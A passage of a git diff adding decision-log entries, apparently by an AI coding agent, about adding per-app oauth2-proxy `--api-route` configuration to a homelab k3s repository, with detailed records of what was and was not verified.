+  touches Plex, so Plex is still software-transcoding and will continue to until the later renderer
+  PR lands. The decisive evidence is an `open()` as **uid 1000 through `s6-setuidgid plex`**;
+  passing as uid 0 is weaker and must not be accepted as proof.
+- **A green gate proves the manifests render, nothing more.** And this gate was not green: it was
+  `rc 3`. Note also that the Gitea `gate` job runs `./ci/gate.sh || [ "$?" -eq 3 ]`
+  (`.gitea/workflows/gate.yml:138`), so a green tick on this PR cannot distinguish rc 0 from rc 3,
+  and `vars.CLUSTER_AVAILABLE` is unset so no L2/L3 conformance runs in CI.
+- **`seLinuxOptions: type: container_device_plugin_t`** is carried verbatim from upstream. These
+  nodes are Debian 13 and I did not measure whether SELinux is enabled or whether that type exists
+  there. Expected to be inert (runc skips labelling when SELinux is disabled), but unverified — if
+  the pods fail to start with an SELinux error, that line is the first suspect.
+- **Renovate has not been run** against this pin. The inline-marker idiom is copied from
+  `platform/kubevirt` / `platform/external-snapshotter`, but whether Renovate normalises the
+  `v`-prefix mismatch (release `v0.37.0` vs image `0.37.0`) for this dep is unknown. If it proposes
+  `newTag: v0.38.0`, the fix is an `extractVersion` packageRule in `renovate.json`.
+- **Resource limits unexamined under load.** The upstream 115Mi/100m limits are taken as-is; I have
+  no measurement of this plugin's footprint on these nodes. Worth a glance given
+  `keycloak-operator` is OOMing at 91% of its limit elsewhere in this cluster.
+- **`clusters/dev` renders it, and there is no dev cluster** (the operator confirmed the
+  `k3s-dev-*` nodes are gone). That is inert rather than wrong — the unified graph (R-ENV-02) has
+  both overlays render the same base — but it is not a thing I could test.
+- **Branch protection / required-checks state not re-measured** in this session. CLAUDE.md §2b
+  says re-measure before relying on it; I did not, so treat the approval/gating claims in §2 as
+  unconfirmed-by-me.

decisions/2026-10-01-oauth2-proxy-api-route-per-app.md

@@ -0,0 +1,482 @@
+---
+date: 2026-10-01
+branch: feat/oauth2-proxy-api-route-per-app
+title: The config model had no way to say "this app's API lives here" — so --api-route could not ship. Now it can, per app.
+---
+
+## What changed
+
+Second half of PR #28 (`decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md`), which
+fixed the cookie collision, the 5-minute session and the missing metrics listener in one renderer
+function and **deliberately declined `--api-route`** for a reason I have preserved rather than
+worked around: that flag was measured on **one** app, and `PiHole serves no /api/ at all`, so a
+renderer-wide constant would apply one app's path shape to five. The `auth` block is
+`additionalProperties: false`, so there was no per-app override hook. **Creating the hook was the
+work; setting the flag is the easy part.**
+
+**Three surfaces, in order of what they protect:**
+
+| Surface | Change | What it guards that the others cannot |
+|---|---|---|
+| `schemas/servicedefinition.schema.json` (**1.8.0 → 1.9.0**) | new optional `auth.apiRoutes`: array of anchored path regexes, `uniqueItems`, default `[]` | rejects a too-broad regex **where a human types it** — `ci/l0.sh` validates `catalog/*.yaml` against this schema on every gate run |
+| `catalog/render.py` | emits one `--api-route=<r>` per declared entry, in order; **raises** on an unanchored entry | `ci/render-golden.sh` runs on every gate invocation even when the schema stage skips |
+| `conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/` (new) | cross-checks each rendered sidecar against its own ServiceDefinition | catches a **renderer constant**, which neither of the above can see |
+
+**The `auth` block stays `additionalProperties: false`.** One named, documented key was added; the
+door is not opened. That property is the reason the gap existed, and it is worth keeping — it is
+what made "there is no override hook" a *fact* rather than a *guess* for the two engineers who hit
+it before me.
+
+**Rebased mid-flight.** `origin/main` advanced from `08deb20` to `cdf3e14` while I was working
+(PR #27 and PR #32, the `hardware.gpu: intel-quicksync` capability). **That change also took schema
+`1.8.0`**, so mine is renumbered to **1.9.0** and chained behind it; both version entries are
+present in the description, and `catalog/render.py` had a two-sided conflict in the constants block
+which is resolved by keeping both (the `DRI_*` constants and `OAUTH2_API_ROUTE_PATTERN` are
+unrelated). Re-rendering after the rebase still changes **only** jackett and radarr — plex's new
+golden reproduces byte-identically, so the two changes do not interact.
+
+**Shape:** a **list** of regexes, not a single string, because Radarr needs two
+(`^/api/` and `^/signalr/`) and `--api-route` is natively repeatable. A single string would have
+forced alternation into the value, and alternation is exactly how breadth gets smuggled past a
+prefix-only reading of a regex.
+
+**The anchoring ratchet.** Each entry must match `^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$` — anchored at
+`^/`, then literal path characters, with an optional trailing `.*` or `$`. The same pattern is in
+the schema, in the renderer, and in the new check, and assertion (5) of the check **fails if they
+drift apart**, because if they do the loosest one wins silently. Rejected shapes, all five
+provoked: `^/`, `^/.*`, `.*`, `/api/` (unanchored), `^/api/|^/` (alternation). Alternation is
+**refused rather than supported**: the flag is repeatable, so one entry per route costs nothing.
+
+**Why breadth is the dangerous direction, and it is not symmetric.** A *missing* `--api-route` is a
+silent 302 — bad, invisible, recoverable. A *too broad* one answers a plain **page load** with 401:
+a logged-out operator gets a bare error page and is **never offered a sign-in**, so the service
+looks permanently broken and no reload recovers it. That is a worse outcome than the defect the
+flag fixes, which is why it is gated on three surfaces rather than documented in one.
+
+### Also folded in: the selftest could exit 1 with ZERO diagnostics
+
+Not my change originally — Desmond Oyelaran found it while wiring `catalog/render.py --selftest`
+into the `render-golden` stage (his PR #33, which touches only `ci/render-golden.sh` and is **not**
+in my base; `origin/main` at `cdf3e14` does not yet drive the selftest from any gate stage). The
+coordinator asked me to fold the fix into this PR because the defect is in the file I own.
+
+`_selftest()` reached `_cookie_name()` through a bare `next(genexpr)` with **no default**. Delete
+the `--cookie-name` emission — exactly the mutation that assertion exists to catch — and it raises
+`StopIteration`, which escapes `_selftest()` **before its collected `SELFTEST FAIL:` lines are
+printed**. Right verdict, no diagnostics, and it masks every other assertion the same mutation
+broke. Fixed with `next(..., None)` plus an explicit `check()` so a missing flag reports **as a
+named assertion**.
+
+Provoking it turned up **three more instances of the same failure class** in the same block, which
+is why this is not literally a one-line change: `side = fa_containers[1]`,
+`side["env"][0][...]`, and the `fa_svc` lookup all raise rather than assert when the sidecar is
+absent entirely. All four are now None-tolerant, and the two fixtures I added for `--api-route`
+were written the same way from the start. Measured, on throwaway copies:
+
+| Mutation | Before | After |
+|---|---|---|
+| `--cookie-name` emission deleted (origin/main's renderer) | rc 1, **0** `SELFTEST FAIL` lines, 1 `StopIteration` | rc 1, **3** `SELFTEST FAIL` lines, 0 tracebacks |
+| the oauth2-proxy sidecar not appended at all | rc 1, **0** lines, `IndexError` | rc 1, **20** `SELFTEST FAIL` lines, 0 tracebacks |
+
+Note the consequence of his stage change for anyone reading this later: once PR #33 lands,
+`.gitea/workflows/gate.yml:138` runs `./ci/gate.sh || [ "$?" -eq 3 ]`, so **rc 1 is not tolerated
+in CI the way rc 3 is** — a selftest failure will block. Which is the right outcome, and it is why
+a selftest that prints nothing was worth fixing before that lands rather than after.
+
+### Declined, with reasons: the metrics-ingress NetworkPolicy
+
+The coordinator asked for my judgement on bundling Ines Dubois's finding — that #28's metrics
+listener genuinely serves (she measured `http=200`, 10,208 bytes,
+`oauth2_proxy_requests_total{code="302"} 2` via port-forward) but the scrape will be **dropped**,
+because namespace `jackett`'s default-deny has **no `ingress` key at all** and
+`jackett-allow-gateway-ingress` admits `fromEntities: [ingress]` only. The fix belongs in each
+app's own rendered policy, i.e. in my file and my goldens. **I declined to bundle it**, and asked
+for it as the immediate next PR. Five reasons, in the order that decided it:
+
+1. **The real reason is that it is a MODEL question, not a policy to bolt on.** Schema 1.6.0
+   already owns this: `observability.metricsEndpoint` renders the Service port **and** the
+   monitoring-namespace ingress allow. What the model cannot currently express is a **second**
+   metrics endpoint on the same pod belonging to a *sidecar the renderer injected*, rather than to
+   the workload the operator declared. Keying a bespoke policy off the pod label
+   `homelab.keithjackson.dev/auth-mode: forward-auth` works today, but it hardcodes "forward-auth
+   implies a metrics port on 44180" into a policy instead of **deriving** it from the sidecar
+   declaration that is already the single source of that port — the exact "list, don't derive"
+   anti-pattern `oauth2-proxy-cookie-names-distinct` assertion (5) exists to forbid, and which I
+   would be introducing one directory away from the check that forbids it. That deserves its own
+   review, and it is squarely the kind of decision I was brought in to make deliberately.
+2. **Different subject, and it is a trust-boundary change.** Mine is the auth *response code* on
+   API paths (R-IDP-02). That is an ingress allow (R-NET-01/02, R-OBS-01) admitting a new
+   namespace to a new port. Bundling a security-relevant ingress rule into a PR whose headline is
+   `--api-route` is how such a rule gets waved through on the strength of the other half — and this
+   PR already needs a human for a *different* sensitive-path reason, so the second subject would be
+   reviewed in the shadow of the first.
+3. **The conflict argument does not actually apply to my diff.** It assumes I am regenerating five
+   goldens; **I am regenerating two** (jackett, radarr), because the flag renders only where
+   declared. A metrics-ingress policy renders a *different document* — a CiliumNetworkPolicy — in
+   all five. Different hunks, in files git merges independently; and goldens regenerate
+   deterministically from the renderer, so the follow-up rebases onto `main` cleanly. The N-1
+   rebase problem `decisions/README.md` records was two branches appending to **the same hunk**,
+   which this is not. I checked my own diff before answering rather than accepting the premise.
+4. **Every fact in the finding is hers and I have measured none of it** — not the 200/10,208 bytes,
+   not the `wget: download timed out` on `:44180` *and* `:4180`, not the Flux sibling ordering that
+   makes `oauth2-proxy` and `apps-wave-0` unordered. Shipping a security-adjacent rule on wholly
+   inherited evidence, as a footnote in someone else's PR, is precisely what CLAUDE.md §2b exists
+   to stop. In its own PR I would measure it first.
+5. **Sequencing: the PodMonitor is in HER PR #29, not mine.** If I ship the policy and her
+   PodMonitor is reworked or delayed, I have opened an ingress allow for a scraper that selects
+   nothing — a hole with no consumer. The policy is only useful paired with the PodMonitor, which
+   argues for it landing adjacent to that, not here. It also drags in a
+   `KNOWN_EXTERNAL_MONITORS` entry in `conformance/tests/l0-static/servicemonitor-ports-resolve/`,
+   a second conformance interaction on top of the new check this PR already adds.
+
+Diff size is the tiebreaker rather than the argument: **1,245 insertions across 13 files**,
+including a ~400-line new conformance check. I would rather hand a reviewer one subject they can
+actually falsify. **Queued, not dropped** — and if the next person takes it, the model note in (1)
+is the part worth arguing about, not the YAML.
+
+### Which apps got which routes, and the measurement behind each
+
+| App | `auth.apiRoutes` | Evidence |
+|---|---|---|
+| **jackett** | `^/api/` | 2026-09-30, its own access log: **33 × 302 against 2 × 401** on `/api/` paths, and **4 of 6 POSTs answered by the proxy and never reaching Jackett** (upstream field `-`, not `/`), including both `/api/v2.0/server/update` calls |
+| **radarr** | `^/api/`, `^/signalr/` | `^/signalr/`: measured **by me, on the live post-fix pod** — see below. `^/api/`: measured on radarr by the PR #30 author, on the **pre-fix** pod |
+| **pihole** | *(none — deliberate)* | serves no `/api/`; **0** unauthenticated requests in its current pod's 23 h |
+| **sonarr** | *(none — not measured)* | 13,643 log lines, **0** unauthenticated requests. No traffic, not a negative result |
+| **qbittorrent** | *(none — not measured)* | 13,649 log lines, **0** unauthenticated requests. Same |
+
+**`^/signalr/` on radarr is the live proof this change was needed**, and it is the strongest
+evidence in this entry. 23 h after PR #28 deployed, on `radarr-7d55cbffb9-42hmh` (0 restarts), the
+sidecar logged **232 unauthenticated requests across the pod's entire lifetime, and all 232 are the
+same call**: `POST /signalr/messages/negotiate`, browser UA, **302**, upstream `-` (Radarr never saw
+one of them). That is a **left-open browser tab** whose session the cookie rename orphaned, polling
+SignalR forever, silently redirected every time, and **never re-prompting the operator**. It is the
+reported symptom — "reloading never fixes it and I am never re-prompted" — still happening in
+production, on a service nobody was looking at. With 401 the UI's connection breaks **loudly**; the
+operator reloads; `/` matches neither regex, so the reload signs them back in.
+
+**`^/api/` on radarr: included, and here is the honest basis.** The current pod has logged **zero**
+`/api/` traffic, so I did **not** re-measure it. It rests on a measurement of **radarr** recorded in
+the merged PR #30 handoff — its 156 unauthenticated requests were `/api/v3/command` (62),
+`/api/v3/queue/details` (46) and `/signalr/messages/negotiate` (43), i.e. **108 of 156 were
+`/api/v3` XHRs**. That is this app's own evidence, by another engineer, not an analogy to another
+app. I include it because `/api/v3/` is a pure JSON namespace a browser never navigates to (Radarr
+serves its UI at `/`, assets under `/Content/` and `/MediaCover/`), so the breadth risk is nil and
+the measured benefit is 70% of that app's rejection volume.
+
+**Sonarr and qBittorrent were measured and deliberately left alone.** Sonarr is nearly the same
+codebase as Radarr, which is exactly what makes `^/api/` + `^/signalr/` a tempting guess and still a
+guess. I read both pods' logs: **zero** unauthenticated requests, nothing but health probes, because
+nobody has opened either UI since the cookie fix rolled. **That is evidence of no traffic, not
+evidence of no need.** Each catalog file now carries a comment saying so, with the numbers and what
+to measure before adding the routes.
+
+### Goldens and fixtures regenerated
+
+Rendered with the canonical command
+(`python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation`).
+**Two goldens changed, not five** — and that is the per-app property proving itself on the real
+tree rather than in a fixture:
+
+    apps/wave-0/jackett.yaml   + --api-route=^/api/
+    apps/wave-1/radarr.yaml    + --api-route=^/api/
+                               + --api-route=^/signalr/
+
+`apps/wave-0/pihole.yaml`, `apps/wave-0/qbittorrent.yaml` and `apps/wave-1/sonarr.yaml` are
+**byte-identical to `main`**. **No L1 fixture needed regenerating**: all three
+`conformance/tests/l1-rendering/*/fixtures/svcdef*.yaml` declare `auth.mode: forward-auth` with no
+`apiRoutes`, so they render no flag and their goldens are unchanged. PR #28 touched 5 goldens and 3
+L1 fixtures because it changed flags on *every* sidecar; this one changes flags only where a
+measurement says so, which is the whole point.
+
+### The L0 decision (and it is a decision, not a default)
+
+**Not** in `oauth2-proxy-cookie-names-distinct`. That check's subject is cookie **identity** — its
+inputs are names and domains, its failure mode is mutual session eviction, its register is the
+shared proxy's claim on the default name. `--api-route` shares none of those. Bundling them would
+make that check's name a lie and couple two unrelated ratchets, so a future api-route decision could
+only be expressed by weakening a *cookie* check. That is PR #28's own stated discipline, applied to
+my change rather than quietly dropped.
+
+**A sibling check, `oauth2-proxy-api-routes-per-app`** (whole-repo scope, so it runs on every gate
+invocation via `ci/l0.sh`'s `--include-scope` union — no bespoke stage, which
+`whole-repo-invariants-wired` would fail). **Nowhere was the wrong answer for exactly one reason:**
+the existing gates cannot see a renderer constant. `render-golden` compares the render to the
+goldens, so a constant **plus regenerated goldens agree with each other while both being wrong** —
+I provoked that and it regenerates with **rc 0**. The new check's assertion (2) compares each
+rendered sidecar against its **own ServiceDefinition**, which is the only reading that fails it.
+
+## What I verified
+
+- **`--api-route` is SINGULAR, read off the PINNED binary rather than taken from the brief.**
+  `podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help`:
+  `--api-route strings   return HTTP 401 instead of redirecting to authentication server if token
+  is not valid. Format: path_regex`. There is **no `--api-routes`** in the help output. The PM asked
+  me to verify rather than trust, and that is the result — the singular form is confirmed and the
+  help text also confirms the *semantics* I am relying on (401 instead of a redirect).
+- **The premise, in-cluster, read-only, through the pinned toolbox, `--context k3s-prod` named
+  explicitly** (CLAUDE.md §2b and §5). PR #28 **is** deployed: all five sidecars carry
+  `--cookie-name=_oauth2_proxy_<app>`, `--cookie-domain=<app>.home.keithjackson.dev`,
+  `--cookie-refresh=2m30s` and `--metrics-address=0.0.0.0:44180`. Pods, all **0 restarts**:
+  `jackett-6877fcd9f5-ht9d9`, `pihole-…`, `qbittorrent-5547bdb9bd-zq557`,
+  `radarr-7d55cbffb9-42hmh`, `sonarr-ddf485775-8ckwt` (started 2026-09-30T21:41–21:42Z).
+- **The full post-fix log census, parsed rather than grepped** (oauth2-proxy's access-log format,
+  with `/ping` health probes excluded), over each pod's whole life:
+
+      app            lines   unauth  AuthSuccess  removing session  cookie sig invalid
+      jackett       13,649        0            0                 0                   0
+      pihole        13,649        0            0                 0                   0
+      qbittorrent   13,649        0            0                 0                   0
+      radarr        14,099      232            0                 0                   0
+      sonarr        13,643        0            0                 0                   0
+
+  Three findings, kept separate:
+  1. **The collision fix works.** Jackett was 39 unauthenticated before; it is **0** in 13,612
+     non-probe lines. The eviction fingerprint (`removing session` / `cookie signature not valid`)
+     is **0 on all five**, where radarr previously had 8 and 8.
+  2. **Radarr's 232 are one request.** 100% `POST /signalr/messages/negotiate`, 100% **302**, 100%
+     upstream `-`, browser UA (`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537…`). **Zero `/api/`
+     traffic of any kind** on this pod.
+  3. **0 `AuthSuccess` anywhere**, so nobody has signed in since the restart and `--cookie-refresh`
+     is **still** unexercised — unchanged from PR #28's own caveat.
+- **Only two goldens change, and three are byte-identical to `main`.** `git status` after the
+  canonical render lists exactly `apps/wave-0/jackett.yaml` and `apps/wave-1/radarr.yaml`.
+  `render-golden` is green.
+- **`catalog/render.py --selftest`: PASS**, with new assertions that (a) the `fa` fixture, which
+  declares nothing, renders **no** `--api-route`; (b) a fixture declaring two routes renders exactly
+  those two, in order; (c) the renderer **refuses** all five breadth shapes; (d) four legitimate
+  routes (`^/api/`, `^/signalr/`, `^/api/v3/.*`, `^/api/v2.0/server/update$`) are **accepted** — a
+  ratchet that blocks real API prefixes is a ratchet someone eventually deletes.
+- **The new check: rc 0, 43 assertions, 6 sidecars audited**, with its inventory printed so the
+  reviewer can see what it read:
+  `jackett -> ['^/api/'] | pihole -> (none) | qbittorrent -> (none) | radarr -> ['^/api/',
+  '^/signalr/'] | sonarr -> (none) | crafty -> (none)`.
+- **The check was tested in BOTH directions, on throwaway copies outside the repo**, never by
+  mutating the branch. Each mutation fired its own assertion class and nothing else:
+  - **Pre-change tree** (`git archive origin/main` + the test dropped in): **rc 1, 11 failures** —
+    no service declares routes, the renderer emits none, the renderer does not read `auth.apiRoutes`,
+    the pattern is absent from both renderer and schema, and the shipped renderer accepts all five
+    breadth shapes.
+  - **pihole's golden hand-edited** to carry a route it never declared: **rc 1, 2 failures** (the
+    catalog↔golden mismatch, and "declares nothing must render nothing").
+  - **radarr's golden widened** to `--api-route=^/`: **rc 1, 2 failures** (unanchored, plus the
+    mismatch).
+  - **Renderer turned into a constant and EVERY golden regenerated to match: the regen exits 0** —
+    i.e. `render-golden` is **happy** — and the new check exits **1 with 15 failures**, naming
+    pihole, qbittorrent, radarr and sonarr individually. **This is the case that justifies the
+    check's existence** and I provoked it rather than argued it.
+  - **Schema `items.pattern` deleted**: **rc 1, 1 failure** — the three-surface drift guard.
+  - **Unmutated control: rc 0.**
+- **The selftest diagnostics fix was PROVOKED, not reasoned.** Both mutations above were run
+  against throwaway copies of the renderer outside the repo (`origin/main`'s `render.py` for the
+  "before" column, mine for the "after"), never by mutating the branch. The pre-fix StopIteration
+  and the post-fix 3-and-20 named assertions are quoted from those runs. `--selftest` on the
+  unmutated branch: **PASS**. Goldens after the fix: **unchanged** (it touches only `_selftest()`).
+- **The check is selected by the whole-repo union.** `./conformance/run.sh --layer l0 --requirements
+  r-nosuchreq-99 --include-scope whole-repo --print-selection` lists
+  `tests/l0-static/oauth2-proxy-api-routes-per-app` among **21** tests (it was 20), i.e. it runs
+  even when the touched-requirement filter matches nothing.
+- **THE SCHEMA GUARD IS PROVEN WITH THE PINNED VALIDATOR `ci/l0.sh` ACTUALLY DRIVES**, not by
+  reading the pattern. `./schemas/validate.sh` (`check-jsonschema, version 0.29.4`) against seven
+  throwaway ServiceDefinitions written outside the repo:
+
+      good            ["^/api/", "^/signalr/"]   rc 0
+      bad-root        ["^/"]                     rc 1  apiRoutes ... does not match
+      bad-dotstar     ["^/.*"]                   rc 1  apiRoutes ... does not match
+      bad-unanchored  ["/api/"]                  rc 1  apiRoutes ... does not match
+      bad-alt         ["^/api/|^/"]              rc 1  apiRoutes ... does not match
+      bad-everything  [".*"]                     rc 1  apiRoutes ... does not match
+      bad-mode        ["^/api/"] on mode: oidc   rc 1  const 'forward-auth'
+
+  So a too-broad regex is rejected **where a human types it**, on every gate run, by the real tool
+  — and the shape invariant fires too.
+- **THE RENDERER'S REFUSAL REACHES `render-golden` AS A READABLE FAILURE, NOT A TRACEBACK.** With
+  `^/signalr/` swapped for `^/` in a *copy* of the catalog (outside the repo), both invocation
+  shapes exit **rc 1 with 0 tracebacks** — the single-SD form and `--all <dir> -o <dir>
+  --wave-layout --no-image-automation`, which is the one `ci/render-golden.sh` drives:
+
+      render.py: radarr: auth.apiRoutes entry '^/' is not an anchored path regex. Each entry
+      must start with '^/' and continue with literal path characters (e.g. '^/api/',
+      '^/signalr/', '^/api/v3/.*'). ... A too-broad --api-route answers a PAGE LOAD with 401, so
+      a logged-out operator sees a bare error page and is never offered a sign-in: the service
+      looks permanently broken rather than merely unauthenticated.
+
+  So the breadth guard is gated by `render-golden` even on a run where the schema stage skipped,
+  and the operator is told *why* rather than handed a stack trace.
+- **The schema's new shape invariant.** A non-empty `auth.apiRoutes` requires
+  `auth.mode: forward-auth`, because the flag renders onto the per-app sidecar and no sidecar exists
+  for `oidc`/`native`/`none` — declaring it elsewhere would be a **silent no-op**, which is the
+  failure class this repo keeps paying for.
+- **Gate:** toolbox `./ci/gate.sh` with the two-mount ENGINE shim — exit code and stage list in the
+  next section, because it is not a pass and that belongs there.
+- **No mutating cluster access.** `kubectl get/logs/jsonpath` only, `--context k3s-prod` named on
+  every call. No `apply`/`edit`/`patch`, no `flux reconcile`. No Secret `.data` or `.stringData` was
+  read or printed; I did not need to touch a Secret at all this session. The one container I ran
+  locally was the pinned oauth2-proxy image, to read its `--help`.
+- **`~/.git-credentials` was never read.** PR creation used `git credential fill`, which does not
+  echo the value.
+
+## What I did NOT verify
+
+- **NO BROWSER ROUND-TRIP. BY ANYONE. FOR THIS FLAG.** This is the most important line here. The
+  302/401 split, the dropped POST bodies and the orphaned SignalR poll are all read from access
+  logs; that a **401 repairs** the operator's experience is reasoned from HTTP semantics, not
+  watched. Nobody has added a Jackett indexer or recovered a Radarr tab through this
+  configuration. The human test below is the first real evidence this change will ever have.
+- **Local gate: rc 3 (UNDETERMINED), not 0.** Green: `spec-immutability`, `decisions-log`, `lint`,
+  `l0`, `render-golden`, `l1`. **Skipped:** `gitea-settings` (no `SETTINGS_API_TOKEN` locally) and
+  **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset). Nothing FAILED; nothing runtime was certified
+  either. **rc 3 is UNDETERMINED, never green.**
+- **MY LOCAL `approval-policy: green` WAS MEANINGLESS, AND I ALMOST REPORTED IT AS EVIDENCE.**
+  `ci/approval-policy.sh:47` reads `GITHUB_EVENT_NAME`, which is unset outside CI, so the stage
+  short-circuits at line 50: `ok "not a pull_request event (event='none') — approval policy N/A"`.
+  **A clean local gate therefore CANNOT catch a sensitive-path problem — structurally, not by
+  accident.** Flagged to me by the coordinator from Ines Dubois's round, and I verified it by
+  re-running the gate with `GITHUB_EVENT_NAME=pull_request PR_NUMBER=34`: the stage then
+  **evaluates** and fails closed on the missing token —
+
+      [fail] no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews.
+      [fail] stage approval-policy: FAIL
+      [fail] approval-policy: a sensitive change lacks a non-author approval -> blocks merge
+      [fail] MERGE GATE: BLOCKED        (rc 1, not 3)
+
+  — while **every other stage stays green** (`spec-immutability`, `decisions-log`, `lint`, `l0`,
+  `render-golden`, `l1`). That is the useful result: it bounds the CI failure to this one stage
+  rather than leaving "something is red" as the whole report. Fail-closed is correct here and
+  deliberate: unlike `gitea-settings`, where a missing credential is a lock-out, a skip of this
+  stage would be a bypass (CLAUDE.md §1).
+- **CI, read from each commit's `/statuses` rather than from a tick.** Both contexts report, and
+  **only one of them runs**. Identical on `99560c2d`, `df1b25b6` and `f1d16f44`:
+
+      gate / gate (pull_request)         state=failure   desc='Failing after ~1m43-1m45s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  **That second line is §2b's trap in the wild**: a *skipped* Gitea job reports
+  `state=success`. The conformance job did not execute, so its green tick certifies nothing —
+  read the description, not the colour. The duration is given as a range on purpose: it differs
+  by a second or two per run, and pinning one number inside the file whose commit triggers the
+  next run is a self-reference, not a measurement. The load-bearing fields are the **state** and
+  the **description**, and those are stable across all three.
+
+  Worth recording that the **same context changed its answer over time**: on the first push it
+  briefly read `state=pending desc='Blocked by required conditions'` — still waiting on the gate
+  job it depends on — and resolved to `success` only once that job settled. So sampling a status
+  once can show either a pending **or** a green tick for a job that never executed.
+  **I could NOT read the CI job log to confirm the failing stage from CI's
+  own output**: this Gitea's `/api/v1/repos/{owner}/{repo}/actions/runs` endpoint answers
+  **404** (only `/actions/tasks` exists, which lists tasks without logs), and
+  `/actions/jobs/{task_id}/logs` answers `404 Not found` for the task id. So my attribution of the
+  CI failure to `approval-policy` rests on the local event-set reproduction above plus the
+  sensitive-path rule, **not** on CI's own log. That is weaker evidence than PR #28 had and I am
+  naming it rather than borrowing its wording.
+- **Branch protection and the runner, RE-MEASURED this session against the live API** (§2b),
+  not inherited from CLAUDE.md §2's table:
+
+      GET /repos/Home-Network/home-network-k3s-impl/branches/main
+        protected              True
+        user_can_push          False
+        enable_status_check    True
+        status_check_contexts  ['gate / gate (pull_request)']
+        required_approvals     1
+      GET /admin/actions/runners
+        id=1 name=incluster-dind status=online
+
+  So `required_approvals=1` applies to **every** PR here regardless of path — this needs a human
+  even without the sensitive-path rule. I did **not** provoke a rejected push to `main` this
+  session; `user_can_push: False` is the API's word, which is exactly the weaker form of evidence
+  CLAUDE.md §2 warns about, and I did not strengthen it.
+- **`^/api/` ON RADARR IS NOT MY MEASUREMENT.** It is PR #30's, taken on the **pre-fix** pod. The
+  current pod has logged **zero** `/api/` traffic in 23 h, so I could not reproduce it. I judge the
+  breadth risk nil (`/api/v3/` is pure JSON; the UI is at `/`), but if someone wants a strictly
+  self-measured configuration, drop `^/api/` and keep `^/signalr/` — the 232 are entirely SignalR.
+- **SONARR AND QBITTORRENT ARE UNMEASURED, NOT CLEARED.** Zero traffic in 23 h is zero evidence.
+  qBittorrent's WebUI drives everything through `/api/v2/` and is *plausibly* affected the same way
+  Jackett is; Sonarr is nearly Radarr's codebase. **Both are left alone on purpose** — plausibility
+  is what put a renderer constant on the table in the first place. Expect to add `^/api/` to
+  qBittorrent and `^/api/` + `^/signalr/` to Sonarr once someone opens those UIs and records the
+  split. **This PR does not fix them.**
+- **PiHole is asserted to serve no `/api/` on inherited evidence, not mine.** Its log shows 0
+  unauthenticated requests, which says nothing about what paths it serves. The claim comes from
+  PR #28/#30. Note the pinned `update.range` is `>=2024.0.0`, and PiHole v6 *does* introduce a REST
+  API at `/api/` — so if PiHole is ever upgraded across that line, this needs re-measuring. It is
+  still correct to declare nothing today, because declaring an unmeasured route is the mistake.
+- **`--cookie-refresh=2m30s` has STILL never been exercised** — 0 `AuthSuccess` on all five pods.
+  PR #28 named this as the fix most likely to need a second pass and it remains unobserved. My
+  change does not touch it, but a sign-in during the human test below will exercise both at once,
+  so a failure there must be attributed carefully.
+- **The regexes are not validated against the apps' real route tables.** I assert `/api/v3/` and
+  `/signalr/` are JSON/RPC namespaces a browser never navigates to from Radarr's and Jackett's
+  observed traffic and from how those UIs are built — **not** from reading their routing code or
+  enumerating their endpoints. A path I have not thought of that matches `^/api/` and *is*
+  browser-navigated would 401.
+- **`OPTIONS` preflight and non-browser clients are unconsidered.** `--skip-auth-preflight` exists
+  and is not set; nothing in these logs shows a CORS preflight, and Sonarr/Radarr talk to Jackett
+  **directly on `:9117`**, bypassing the proxy entirely — so I do not expect impact. Unverified.
+- **The live pods do not carry this change and nothing re-measures that they will.** git is not the
+  cluster (§2b). **Merging is what deploys**, and it will roll **jackett** and **radarr** only
+  (`strategy: Recreate` on RWO Longhorn volumes, so a brief gap per app, and radarr/sonarr lose
+  direct `:9117` access to Jackett while its pod restarts). Existing sessions survive — no cookie
+  flag changed — so unlike PR #28 nobody is signed out.
+- **No L2/L3 assertion reads any of this.** There is no runtime check that a `/api/` request to a
+  gated app answers 401, and I did not write one; `CLUSTER_AVAILABLE` is unset so it could not run
+  in CI anyway. The whole guard is static.
+- **`catalog/render.py --selftest` is UNGATED IN MY BASE, and I did not wire it.** Desmond's PR #33
+  does that (`ci/render-golden.sh`) and is in review, not merged — `origin/main` at `cdf3e14`
+  contains no stage that drives it, which I checked rather than assumed (`grep -n selftest
+  ci/render-golden.sh` → no match). **So until #33 lands, my new selftest assertions are
+  dev-time only**, and the *gated* half of my breadth ratchet is the schema `pattern` (via
+  `ci/l0.sh`'s schema stage), the renderer's own `raise` (via `render-golden`), and the new L0
+  check. I deliberately did not wire the selftest myself: #33 already does it, and duplicating it
+  here would collide with his branch in the one file he owns. Note the two PRs are **independent
+  but complementary** — his makes the stage real, mine makes its output readable when it fires.
+- **I did NOT verify PR #33's own claims.** The 106-assertion count, the
+  selftest→stage→`gate.sh`→`BLOCKED` propagation chain, and the `--cookie-refresh 2m30s → 10m`
+  mutation being caught by the selftest but not by `render-golden` are all his measurements,
+  relayed to me by the coordinator. I reproduced only the StopIteration defect itself, because that
+  is the part I was asked to fix. If his branch is reworked, nothing in mine depends on it.
+- **The new check does not read the spec repo** and asserts nothing about `../home-network-k3s`
+  (R-TEST-06, read-only). `schemas/renderer-contract.md` is updated in **this** repo only; the
+  canonical spec `docs/13-service-catalog.md` is **not** updated, because it is immutable from here.
+  Someone with spec write access should mirror `auth.apiRoutes` into docs/13 and docs/15.
+- **THE OAUTH2-PROXY SIDECARS' METRICS ARE STILL UNSCRAPABLE, AND THIS PR DOES NOT FIX IT.** See
+  the declined-bundle section above. #28 shipped `--metrics-address` as a prerequisite and said
+  plainly that it was not scraped; Ines has now measured that the listener **serves** and that the
+  scrape is **dropped by each app namespace's default-deny**. Nothing in my change touches that.
+  Anyone reading this entry as "the fleet gates are observable now" is wrong, and the next PR is
+  where that changes.
+- **Alternation is refused, and that is a judgement I may have to revisit.** No app in this catalog
+  needs it, and the flag is repeatable — but if some future app genuinely needs a regex the ratchet
+  rejects, the fix is to widen the pattern **with a reason** on all three surfaces at once, not to
+  delete the ratchet on one.
+- **CI status: two contexts, and only one of them ran.** Quoted in the PR body and in the report to
+  the PM. `approval-policy` **fails by design** until a non-author approving review exists, because
